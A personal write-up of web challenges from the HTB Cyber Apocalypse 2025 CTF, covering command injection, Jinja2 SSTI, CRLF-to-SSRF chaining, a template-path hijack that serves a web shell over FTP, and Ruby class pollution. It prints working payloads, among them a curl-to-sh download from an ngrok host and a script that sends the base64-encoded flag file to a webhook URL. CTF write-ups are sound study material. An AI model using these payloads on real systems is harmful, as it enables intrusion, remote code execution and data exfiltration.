HTB Cyber Apocalypse 2025 CTF - Web Challenges

HTB Cyber Apocalypse 2025 CTF - Web Challenges

in

Hello everyone,

HTB Cyber Apocalypse 2025 CTF just finished, and I decided to do this write-up for the Web and AI challenges, which are the ones I enjoyed the most and consequently spent the most time on. My team ranked 338th place out of 8129 teams, with 51 out of 77 flags submitted, solving 35 out of the 62 total challenges. I managed to contribute with 21 flags to my team’s efforts.

Firstly, thanks to my team for pushing me and teaching me a lot of new stuff and all the HTB staff for putting this CTF together.

Web Challenges

Table of Contents:

Whisper of the Moonbeam - Very Easy - 775 Points

Challenge Description

Recon

No source code for this challenge.

Running examine would return:

I assumed it was running whoami in the background, so possible command injection.

Exploitation

Running examine; ls would lead to:

It worked so you just need to cat the flag by doing examine; cat flag.txt.

Trial by Fire - Very Easy - 825 Points

Recon

Source Code was available this time.

Python application with:

My first thought was: Flask + Jinja2 = Possibly SSTI

There was also a very big hint on the main page and checking the code:

Very likely to be SSTI at this point.

Inserting a SSTI payload in the brave warrior, name would take me to /begin, which would set a new cookie and then to /flamedrake where I would fight a dragon:

/begin:

/flamedrake:

As you can see above, the payload didn’t render and I didn’t get 49 as a result.

Going back to the source code, I could see the existence of a route to /battle-report

Which gets our warrior_name from our session cookie. Trying to hit this endpoint with the cookie that was given to us when we hit /begin would return:

We got 49 rendered in the response, so this is SSTI confirmed. Now we just need to find a malicious payload to inject and repeat the same steps.

Using the most basic Jinja2 SSTI payload like the below:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

on the warrior_name parameter on the /begin endpoint, grabbing the cookie and pasting in the a POST request to /battle-report would lead to the following:

That is command execution and from here we just need to adjust the payload to get the flag.

{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*.txt').read()}}

Cyber Attack - Easy (but no so easy) - 975 points

Challenge Description

Web Page:

Analyzing the source code

Source code was available for this challenge.

The application was relatively small, only had two endpoints:

  • attack-domain
  • attack-ip

Attack-domain

First thought was the use of os.popen which is insecure, but in this specific case there was a nasty regex pattern making sure that no commands could sneak through the target parameter.

Although, the parameter name was being reflected in the Location header, which I might be able to trick via CRLF.

Attack-ip

First thought was the use of os.popen which in this case there is vulnerable to command injection, because opposite to attack-domain endpoint, there is no validation for the target parameter.

Being able to hit this endpoint directly would be too easy for a CTF challenge, so there was this apache2.conf setting stopping us to directly navigate to it unless the request came from localhost.

Which only meant one thing: SSRF.

Gluing the pieces together, the idea of an attack path would look something like this : Someway to spoof my IP Address (most likely CRLF) to SSRF to Command Injection on /attack-ip.

Exploitation:

Trying to Spoof IP Address:

First thing I did was trying all easy wins to spoof an IP address to a server -> HTTP Headers

I tried all the below headers with a direct request to /attack-ip but without any success:

- X-ProxyUser-Ip: 127.0.0.1
- Client-IP: 127.0.0.1
- Host: localhost
- X-Forwarded-For: 127.0.0.1
- X-Forward-For: 127.0.0.1
- X-Forwarded-Host: 127.0.0.1
- Forwarded: 127.0.0.1
- Via: 127.0.0.1
- X-Real-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-Trusted-IP: 127.0.0.1
- X-Requested-By: 127.0.0.1
- X-Requested-For: 127.0.0.1
- X-Forwarded-Server: 127.0.0.1

CRLF:

It is not a vulnerability that I find often (I also don’t try to find it often) or I read a lot about it, so I didn’t have much information about it prior to this challenge.

The parameter target was not a good candidate for this, because of the regex sanitization. So the name parameter seemed like a good candidate.

Trying some different CRLF payload, I came up with the first breakthrough. Injection an a%0d%0aLocation:+/doesntexist%0d%0a%0d%0a on the name parameter would gives us a 404 Not Found, which was the first small victory.

Clearly, this was vulnerable to CRLF, but how to achieve SSRF from this?

SSRF

After searching for quite a while I found this resource: Apache - HackTricks

Arbitrary Handler to Full SSRF

Redirecting to mod_proxy to access any protocol on any URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
 %0d%0a
%0d%0a

This was just what I needed to get SSRF, basically, I just had to sneak through a new header with Content-Type:proxy:http://127.0.0.1.

After some trial and error payload looked something like this: %0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://127.0.0.1%0d%0a%0d%0a, which returned the following response.

As can be seen in the image above, the request did work and I was hitting the webserver through 127.0.0.1, confirming SSRF.

Command Injection

With our SSRF fully working, I could now hit the attack-ip endpoint and achieve code execution.

After a while I was able to hit that endpoint with a valid request. GET /cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=127.0.0.1%26name=%0d%0a%0d%0a

Which in reality translates to:

GET /cgi-bin/attack-domain?target=-&name=a
Location: /a
Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=127.0.0.1&name=

Now was just a matter of actually test the command injection and crafting a payload that would either get us a shell on the server or just read the flag.

My first thought was to try to get it via DNS exfiltration with for example:

$(curl `whoami`.{BURPCOLLABORATOR})

and it did work, although every single try to sneak more complex commands like reverse shells were failing miserably, I believe mostly because of all this URL encoding, which with time was turning my head into mash.

So my team mate came up with a different strategy, a much more simple payload, which basically, the server would get the bash script, pipe into sh bypassing need for url encoding, shell has a 2nd curl for the command output, which was: curl [url web server]|sh

Final payload looked this this:

On the attack-domain

GET /cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2b5.tcp.eu.ngrok.io:17338|sh)%26name=%0d%0a%0d%0a

On the host, served through ngrok:
#!/bin/sh
#ls=$(cat /flag*.txt|base64 -w0)
curl https://webhook.site/994ec04f-ad49-4aec-9b85-4e2273071f09/$ls

Request:

Web Server Setup + Ngrok:

Webhook Request

Request URL Value: https://webhook.site/031827b4-6af5-4492-819b-d6307a862535/SFRCe2g0bmRsMW42X200bDRrNHI1X2YwcmMzNX0=

Base64 Decoding:

Solution: HTB{h4ndl1n6_m4l4k4r5_f0rc35}

Eldoria Panel - Medium - 975 Points

Challenge Description

Recon

This Web App was much more complex than all the previous ones, with a lot of endpoints to hit as you can see below:

First thing that popped up to me was the existence of a bot performing actions, to me this always screams either XSS or CSRF, so I had that in mind.

Visiting the website, it shows us a login portal and a registration button that allows us to create an account.

Logging in I can see that there is plenty of functionality:

But the first thing I went to check was the cookie, does it have any flags like secure or httponly?

  • HttpOnly was set to true
  • Secure was set to false
  • was set to None

Difficult, but not impossible. I will have this on the back of my mind.

Also, checking all traffic in Burp Suite history, there were no CSRF tokens anywhere in sight, which was a good sign.

As part of my recon I started by visiting the routes.php file and started to check for endpoints that I still didn’t have on my Burp history by using the frontend

The ones that really popped out to me were:

  • GET /api/admin/appSettings
  • POST /api/admin/appSettings
  • POST /api/admin/cleanDatabase
  • POST /api/admin/updateAnnouncement

Afterall these were all admin endpoints, although I think I can discard cleanDatabase as this was just deleting all user accounts other than the admin.

To my surprise my user account had access to all these resources, which means that it wasn’t checking if my account was an admin or not.

The endpoint that really caught my attention was the /api/admin/appSettings. Both GET and POST requests were working just fine.

After changing the template_path to something the Web App stopped working, returning a Error: File not found it couldn’t find the files to serve anymore.

Exploitation

After going through the code to analyze this behaviour, I noticed that this template_path value was being used to render the resources from the web server, as you can see below:

So my idea was to straight away try to hijack this path to a server I control and then have a file being served with any of the resources loaded by the web app, such as login.php, register.php or dashboard.php for example.

Firstly, I tried to pass my own web server via ngrok with a malicious register.php file as such:

  • Create a register.php with a web shell.
  • Host it via sudo python3 -m http.server 80
  • ngrok tcp 80 to expose it to the Internet.

  • Edit the template_path to point to my exposed web server:

But this didn’t work, I wasn’t getting any hits on my webserver at all, I tried without the http:// but it was the same.

Then I tried the same exact process, but with a FTP server instead.

  • sudo python3 -m pyftpdlib -p 2121 -d .
  • ngrok tcp 2121

  • then visit the /register

And this time, I had a hit!

Although what I couldn’t understand was this 550 Not a directory error, I tried very hard to debug this and find how to solve it, but I just couldn’t.

I decided to try a different approach and test a proper FTP Server. I looked online and I found this one:

I could upload files for 10 minutes, which was enough time to test.

First thing I did was connect myself to it and upload the file to the root directory.

Now I just needed to change the template_path again to point to this FTP server by executing:

Refreshing the /register endpoint, I get presented with a beautiful looking web shell.

Just needed to execute cat /flag*.txt and retrieve the flag.

Note: Looking back at it, I now think this was an unintended way to solve this challenge, as someone went through the trouble of programming a bot to visit the page, most likely for some vulnerability chaining, in this case I think CSRF would have been the way to edit the template_path variable.

Solution: HTB{p41n_c4us3d_by_th3_usu4l_5u5p3ct_640f945ae69a9701f545e4dd58051e47}

Eldoria Realms - Medium - 1000 Points

Challenge Description

Note: I didn’t manage to solve this one, although I want to showcase how far I got. Looking forward to read the writeup.

Recon:

Visiting the Web App, there was a lot of functionality, so I started by going to have a look at the source code.

First thing that popped was this obvious command injection vulnerability on a GRPC endpoint.

I confirmed this by running the environment locally and trying to see if I could execute commands, turns out I could:

So this vulnerability was confirmed and this was definitely the way to go. Although I couldn’t just access the remote GRPC server directly through my browser, which means I had to find a way to get SSRF.

I could see a curl command on the app.rb file being utilized:

Which was this section of the website:

It was using curl on a variable called realm_url which was defined above as:

class Adventurer
  @@realm_url = "http://eldoria-realm.htb"
  attr_accessor :name, :age, :attributes
  def self.realm_url
    @@realm_url
  end
end

So I knew if I could poison and managed to be in control of this realm_url I could get the SSRF I was looking for.

The entire code for this Class was:

class Adventurer
  @@realm_url = "http://eldoria-realm.htb"

  attr_accessor :name, :age, :attributes

  def self.realm_url
    @@realm_url
  end

  def initialize(name:, age:, attributes:)
    @name = name
    @age = age
    @attributes = attributes
	end

	def merge_with(additional)
		recursive_merge(self, additional)
	end

	private

	def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

I spent quite a while looking for what it could be, that’s when I decided to google part of the code current_obj.singleton_class.attr_accessor key, which led me to this blog post: Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges

This definitely seems to be it.

Trying the above exploit with a few adjustments to suit this app as such:

Now, visiting the same section of the Web App (Connect to a Realm) would now show my injected realm_url value instead of the one set by the application as you can see below.

And I did have a request on my collaborator, so this definitely worked and I could now have SSRF.

From here I just couldn’t push through, I knew exactly what I had to do (the command injection identified previously) but I couldn’t find a way to hit the GRPC endpoint from the SSRF. Looking forward to read the writeup for this challenge.